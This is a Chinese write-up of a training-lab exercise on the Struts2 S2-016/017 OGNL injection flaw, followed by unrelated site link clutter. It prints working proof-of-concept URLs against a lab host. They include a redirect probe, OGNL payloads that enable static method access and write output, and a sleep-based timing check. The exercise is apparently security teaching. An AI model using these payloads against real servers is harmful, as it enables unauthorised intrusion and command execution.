(实验经验分享)web应用安全 > 实验九:Struts2框架安全实验

来源:互联网 发布:vb下载官方 编辑:程序博客网 时间:2024/06/10 09:16

实验地址:合天网安实验室 http://erange.heetian.com/

实验简介
  • 实验所属系列:web应用安全/网络攻击与对抗
  • 实验对象:本科/专科信息安全专业
  • 相关课程及专业:信息网络安全概论
  • 实验时数(学分):4学时
  • 实验类别:实践实验类
实验目的

通过该实验了解java开发流行框架struts2安全缺陷形成的原因,掌握基本的漏洞利用及使用方法,并能够通过代码审计给出加固方案。

预备知识

了解Struts2

      Struts是Apache软件基金会赞助的一个Java开源项目,通过采用JavaServlet/JSP技术,实现了基于Java EE Web应用的MVC设计模式的应用框架,是MVC经典设计模式中的一个经典产品,也是国际上应用最广泛的web应用框架之一。

      本次实验为了学习效果,使用了一个版本相对较低的2.1.8版本。

具体预备知识详见 http://erange.heetian.com/pages/registerUser/ru-main.jsp 或自行百度谷歌。此处略

参考资料:http://drops.wooyun.org/tips/347(非常详细)


Struts2 s2-016/017漏洞分析
在struts2中,DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。


实验环境

服务器:centos6.3,IP地址:10.1.1.4

测试者:win7,IP地址随机,可自己查看,在本例中为10.1.1.207

测试网站:http://10.1.1.4:8080


实验步骤一
判断一个使用了struts2框架的网站是否存在漏洞:下面有三种判断方法

任务描述:依据上述漏洞分析及给出的poc,并参照官方文档

http://struts.apache.org/release/2.3.x/docs/s2-017.html

http://struts.apache.org/release/2.3.x/docs/s2-016.html

提示一:

官方的poc:

http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23

请输入你所构造的POC:  http://10.1.1.4:8080/training/EN_index.action?redirect:http://www.yahoo.com/

实验机里成功进行了redirect,即存在struts2漏洞(实验机无法连外网,所以超时)



 提示二:

      ServletActionContext能够拿到真正的HttpServletRequest、HttpServletResponse、ServletContext。拿到一个HttpServletResponse响应对象后就可以调用getWriter方法(返回的是PrintWriter)让Servlet容器上输出[/ok]了,而其他的POC也都做了同样的事:拿到HttpServletResponse,然后输出[/ok]。

请输入你构造的POC:http://10.1.1.4:8080/training/EN_index.action?redirect:${%23w%3d%23context.get ('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}


或者POC:http://10.1.1.4:8080/training/EN_index.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23response=@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22),%23response.close()}

这个poc需要一些java语言功底。。有些难度。。

页面显示[/ok]成功执行



提示三:
延迟判断:先让线程sleep一段时间,再去计算时间差来判断漏洞是否存在。

请输入你所构造的POC:  http://10.1.1.4:8080/training/EN_index.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}                

很多的利用工具都是让线程睡一段时间再去计算时间差来判断漏洞是否存在。这样比之前的回显更靠谱,缺点就是慢。而实现这个POC的方法同样是非常的简单其实就是静态调用java.lang.Thread.sleep(5000)就行了。而命令执行原理也是一样的。



0 0
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 lv皮带黑色掉漆怎么办 黑色衣服穿在身上掉色怎么办 电信卡流量超了怎么办 移动卡流量超了怎么办 狗狗老是挠痒痒怎么办 出差同住的同事睡觉打鼾怎么办 小孩皮肤太黑了怎么办 苹果平板突然黑屏打不开怎么办 孩子认人晚上哭怎么办 主腹动脉有硬块怎么办 糖链抗原125偏高怎么办 狗长了个肿瘤怎么办 腺肌瘤糖类抗原125升高怎么办 糖类抗原724单项升高怎么办? 化疗期间糖类抗原升高怎么办? 门面租客到期不搬怎么办 这几天老想初恋怎么办 结婚了还想初恋怎么办 九年了想初恋了怎么办 吃肥肉恶心想吐怎么办 宝宝吃了母乳不吃奶粉怎么办 母猫的奶少怎么办 鲤鱼打挺起不来怎么办 练不会鲤鱼打挺怎么办 鲤鱼打挺脖子痛怎么办 新买的沙发太高怎么办 额最后离开公司没人关灯怎么办 看到我妹妹就烦怎么办 野塘钓鱼不开口怎么办 团关系找不到接收地怎么办 两岁宝宝就是不肯说话怎么办 两岁宝宝不肯吃药怎么办 并蹄莲叶子大黄怎么办 异地恋见面来大姨妈怎么办 奶水太多宝宝老是呛到怎么办 奶水太多吃奶婴儿呛怎么办 人家不愿意交我为朋友怎么办 面对诋毁我的人怎么办 做事太细致速度太慢怎么办 高一儿子早恋了怎么办 儿子18岁谈朋友怎么办